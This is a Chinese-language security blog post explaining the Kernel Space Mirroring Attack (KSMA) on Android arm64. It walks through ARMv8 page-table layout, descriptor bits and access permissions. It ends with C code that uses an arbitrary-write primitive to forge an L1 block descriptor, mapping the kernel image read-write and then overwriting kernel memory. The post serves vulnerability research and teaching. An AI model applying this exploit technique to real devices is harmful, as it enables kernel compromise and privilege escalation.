KSMA - Kernel Space Mirroring Attack

KSMA - Kernel Space Mirroring Attack

henry Lv4

Reference:

blackhat:https://i.blackhat.com/briefings/asia/2018/asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features.pdf

ARM v8手册:https://developer.arm.com/documentation/ddi0487/aa/?lang=en

USMA介绍:https://zhuanlan.zhihu.com/p/116776496

KSMA

KSMA 即 Kernel Space Mirroring Attack

linux page table layout

Snipaste_2024-11-26_14-56-13

上图给的是一个三级页表的目录布局,具体采用几级目录取决于目标系统以及架构。

对于Android来说仅使用39bit作为虚拟地址,下图为page大小为4KB,给定一个input address到最后获取物理地址(physical addr)的完成过程。(下面这部分内容具体信息可见ARMv8手册中的 D5.4 VMSAv8-64 translation table format descriptors)

Snipaste_2024-11-26_14-58-10

需要说明的是内核与用户态进程使用的不是同一份页表,内核拥有自己单独的页表,内核线程共享,用户态进程分别拥有自己的页表。

内核页表在内核初始化时静态创建,如下 init_mm。pgd 指向 swapper_pg_dir,在没有 KASLR 的情况下,该全局变量是一个固定值 0xffffffc00007d000,所以内核一级页表位于固定内存位置

1
2
3
4
5
6
7
8
9
10
struct mm_struct init_mm = {
.mm_rb = RB_ROOT,
.pgd = swapper_pg_dir,
.mm_users = ATOMIC_INIT(2),
.mm_count = ATOMIC_INIT(1),
.mmap_sem = __RWSEM_INITIALIZER(init_mm.mmap_sem),
.page_table_lock = __SPIN_LOCK_UNLOCKED(init_mm.page_table_lock),
.mmlist = LIST_HEAD_INIT(init_mm.mmlist),
INIT_MM_CONTEXT(init_mm)
};

这里简单介绍一下TTBR的概念

1. TTBR(Translation Table Base Register)简介

TTBR 是 ARM 架构中的页表基址寄存器,用于存储页表的起始地址。它有两个寄存器:

​ • TTBR0:通常用于管理 用户态(User Space) 地址的页表。

​ • TTBR1:通常用于管理 内核态(Kernel Space) 地址的页表。

2. TTBR 的地址空间范围

TTBR0 - User Address(用户地址范围):

​ • 范围:0x0000_0000_0000_0000 ~ 0x0000_007F_FFFF_FFFF。

​ • 这部分地址空间属于 用户态(EL0),即普通应用程序的虚拟地址范围。

​ • 使用 TTBR0 指定的页表进行地址翻译。

TTBR1 - Kernel Address(内核地址范围):

​ • 范围:0xFFFF_FF80_0000_0000 ~ 0xFFFF_FFFF_FFFF_FFFF。

​ • 这部分地址空间属于 内核态(EL1),即操作系统内核的虚拟地址范围。

​ • 使用 TTBR1 指定的页表进行地址翻译。

在实际过程中,页描述符的格式也有所不同,具体分为以下几类:

  • 一个无效或者缺页条目
  • 一个页表条目(table entry),用来指向下一级页表的位置
  • 一个块条目(block entry),用来指向一个块内存,同时也会定义该块内存的访问属性
  • 保留格式

值得注意的是table entryblock entry

Snipaste_2024-11-26_15-13-55

如上图所示,展示了在 0级(在android中不使用该地址区间,所以无效),1级,2级目录下的block entrytable entry之间的格式区别,Bit[1] == 0 代表这是一个 block entry,同样的Bit[1] == 1 代表了这是一个table entry

Snipaste_2024-11-26_15-20-44

三级目录下的table entry格式如上图所示,这时候就不存在block entry一说了,综上Android实际page table工作流程如下:

Snipaste_2024-11-26_15-24-53

在page大小为4KB的情况下,一级目录中的block entry将会指向一个 1GB 大小的空间,二级目录中的block entry将会指向一个2MB大小的空间。

现在我们来只专注于block entry的情况,不考虑output address 的区间,其它区间的字段内容如下:

Snipaste_2024-11-26_15-27-43

其中PXN标识该条目指向的地址是否可执行,AP[2:1]标识访问权限,具体细节见下图:

Snipaste_2024-11-26_15-30-59

AP[2:1]== 0b01时,用户态(EL0)也将拥有该地址的RW权限,试想如果我们有一次任意写的机会,可以用来改写对应的页表条目,将其构造为block entry,其中的output address可以设置为我们想要映射的物理内存地址,在android中,内核镜像在物理内存中的位置是固定的,然后实现对内核镜像的代码片段的修改,简单来说通过在内核地址空间中创建一块类似对应物理内存的镜像,直接实现了对任意物理内存的读写。

如何理解这个镜像呢,实际上就是将一块物理内存映射到了另外一块虚拟地址空间中,两种从不同虚拟地址的读写操作,都会影响对应物理内存的变化。

Snipaste_2024-11-26_15-40-14

在这张图中就是如此,通过构造一个D_Block使地址FFFFFFC230002000FFFFFFC030002000指向了同一块物理内存,但是对于FFFFFFC230002000 来说我们直接拥有可读写权限,至此就完成了 KSMA 的利用。

具体使用方法:

摘自Reference 3

首先确定伪造的 d_block 描述符应该在内存什么位置。该内存位置是可以计算出来的。内核 VA 中有很多的地址空间是没有被使用的,准确的说,没有被映射过。这些内存空洞就可以用来重新映射内核镜像 PA。不考虑 KASLR 的情形,内核镜像加载的起始地址一般为 0xffffffc000000000,镜像大小 1Gb
(0x40000000 Byte) 左右。0xffffffc200000000 开始的区域通常为内存空洞区域,我们可以将该地址开始的 1Gb 空间,作为再次映射内核 PA 的 VA。当然也是可以采用其他区域的,比如 0xffffffc300000000 开始的 VA,这里以 0xffffffc200000000 作为示例

block entry构造模版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#define PAGE_OFFSEST 0xffffffc000000000

/**
*
*
Android arm64 Translation table lookup with 4KB pages:
+--------+--------+--------+--------+--------+--------+--------+--------+
|63 56|55 48|47 40|39 32|31 24|23 16|15 8|7 0|
+--------+--------+--------+--------+--------+--------+--------+--------+
| | | | | |
| | | | | v
| | | | | [11:0] in-page offset
| | | | +-> [20:12] L3 index
| | | +-----------> [29:21] L2 index
| | +---------------------> [38:30] L1 index
| +-------------------------------> [47:39] L0 index (not used)
+-------------------------------------------------> [63] TTBR0/1
* 解析 vaddr 获取在页表中各种数值
*/
void parse_vaddr(unsigned long vaddr)
{
int ttrb0 = 0;
int poffset = 0;
int L0_index = 0;
int L1_index = 0;
int L2_index = 0;
int L3_index = 0;

ttrb0 = (vaddr & 0x8000000000000000) >> 63;
poffset = (vaddr & 0x0000000000000fff);
L0_index = (vaddr & 0x0000ff8000000000) >> 39;
L1_index = (vaddr & 0x0000007fc0000000) >> 30;
L2_index = (vaddr & 0x000000003fe00000) >> 21;
L3_index = (vaddr & 0x00000000001ff000) >> 12;

printf("[%s] vaddr = 0x%lx\n", __func__, vaddr);
printf("[%s] ttbr%d \n", __func__, ttrb0);
printf("[%s] poffset = 0x%x\n", __func__, poffset);
printf("[%s] L0_index = 0x%x L1_index = 0x%x L2_index = 0x%x L3_index = 0x%x\n",
__func__, L0_index, L1_index, L2_index, L3_index);
}

/**
* vaddr 是内核内存的空洞区域,伪造其 L1 pagetable 中 d_block 表项
* 以下 bits 位的具体信息要参考 armv8 的手册 D4-1791
* 1 Gb = 0x40000000 Byte
* 0x40000000
*/
void fake_dblock_in_level1_page_table(unsigned long kimg_phys_addr, unsigned long L1_table_start_addr, unsigned long vaddr)
{
unsigned long fake_d_block = 0l;
unsigned long fake_d_block_addr = 0l;

// 计算伪造 vaddr 的L1 页表项位置
int L1_index = 0;
L1_index = (vaddr & 0x0000007fc0000000) >> 30;
fake_d_block_addr = L1_table_start_addr + L1_index * 0x8;
printf("L1_inde = 0x%x fake_d_block_addr = 0x%lx\n", L1_index, fake_d_block_addr);

// d_block 中的内容,主要是修改 AP[2:1], 修改为读写属性
// bit[1:0]
fake_d_block = fake_d_block | (0x0000000000000001); // Y
// bit[11:2] lower block attributes
fake_d_block = fake_d_block | (0x0000000000000800); // nG, bit[11] Y
fake_d_block = fake_d_block | (0x0000000000000400); // AF, bit[10] Y
fake_d_block = fake_d_block | (0x0000000000000200); // SH, bits[9:8]
fake_d_block = fake_d_block | (0x0000000000000040); // AP[2:1], bits[7:6]
fake_d_block = fake_d_block | (0x0000000000000020); // NS, bit[5] Y
fake_d_block = fake_d_block | (0x0000000000000010); // AttrIndx[2:0], bits[4:2]
// bit[29:12] RES0
// bit[47:30] output address
fake_d_block = fake_d_block | (kimg_phys_addr & 0x0000ffffc0000000);
// bit[51:48] RES0
// bit[63:52] upper block attributes, [63:55] ignored
fake_d_block = fake_d_block | (0x0010000000000000); // Contiguous, bit[52]
fake_d_block = fake_d_block | (0x0020000000000000); // PXN, bit[53]
fake_d_block = fake_d_block | (0x0040000000000000); // XN, bit[54]

printf("[fake] vaddr = 0x%lx\n", vaddr);
printf("[fake] fake_d_block_addr = 0x%lx --> 0x%016lx\n", fake_d_block_addr, fake_d_block);

errno = 0;
write_at_address_pipe((void*)fake_d_block_addr, &fake_d_block, sizeof(unsigned long));
printf("write errno = %d %s\n", errno , strerror(errno));
}

void test_addr_directly() {
unsigned long addr = 0xffffffc200000000 + 0x20000000 + 0x80000;
printf("0x%lx --> 0x%lx\n", addr, *(unsigned long *) addr);

*(unsigned long *) addr = 0x100;
printf("0x%lx --> 0x%lx\n", addr, *(unsigned long *) addr);
}

int main(int argc, char *argv[])
{
disable_addr_limit();

unsigned long kimage_phys_addr = 0x20000000; // 内核镜像加载的起始物理地址 memstart_addr 值
unsigned long L1_table_start_addr = 0xffffffc00007d000;
unsigned long fake_kernel_vaddr = 0xffffffc000000000; // 0xffffffc200000000
fake_dblock_in_level1_page_table(kimage_phys_addr, L1_table_start_addr, fake_kernel_vaddr);

test_addr_directly();
return 0;
}
  • Title: KSMA - Kernel Space Mirroring Attack
  • Author: henry
  • Created at : 2025-02-10 21:42:44
  • Updated at : 2025-02-10 21:46:28
  • Link: https://henrymartin262.github.io/2025/02/10/KSMA/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments
评论
  • 按正序
  • 按倒序
  • 按热度
Powered by Waline v2.15.8
On this page
KSMA - Kernel Space Mirroring Attack